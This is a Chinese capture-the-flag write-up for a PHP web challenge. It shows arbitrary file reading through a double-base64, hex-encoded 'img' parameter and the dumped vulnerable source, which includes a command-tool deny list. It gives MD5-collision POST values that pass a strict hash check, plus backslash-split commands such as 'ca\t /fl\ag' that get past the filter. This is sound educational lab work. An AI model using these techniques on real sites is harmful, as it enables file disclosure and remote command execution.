点开网站后就看到这样一个网站，在查看url的时候看到img的这个参数有问题，研究一下，发现这串“TXpVek5UTTFNbVUzTURabE5qYz0”字符，经过两次base64解密后变成了这个“3535352e706e67”，回忆一下发现在这个指好像在winhex的hex代码中见过相似的，那就用Winhex新建一个文件之后把这串解出来的字符放进去看看是什么。
对应的是555.png，在网站里一看这不就是网站首页的那个图吗，那么推测是不是其他的文件经过这中加密方式加密后通过img这个参数传进去都可以读取，记下来试试读取index.php
用winhex转换后发现它的十六进制数值是，接下来经过两次base64加密后变为TmprMlJUWTBOalUzT0RKRk56QTJPRGN3，那么让这个参数通过img参数传进去，查看源码发现这样一大段base64加密内容
PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=
通过base64解码后得到，index.php的源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi� no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
这里preg_match("/flag/）这一处算是提醒了flag的存在，再看这里md5强类型的绕过
if((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
POST：
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
接下来看这里(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",
$cmd))
这里过滤掉了大部分的命令执行的东西，但是想到liunx主机上好像可以用\,所以我们这里就可以构造这个ca\t /fl\ag来查看flag，但是这里由于我们不知道flag是一个php文件还是个txt文件还是个html文件所以就用bp抓一下包慢慢找找。先dir一下看看该目录下都有什么东西，这里记得讲img参数给删了不然会给你返回一大串base64加密的值
不在那就看看根目录
找到了，那就通过下面命令进行查看，得到flag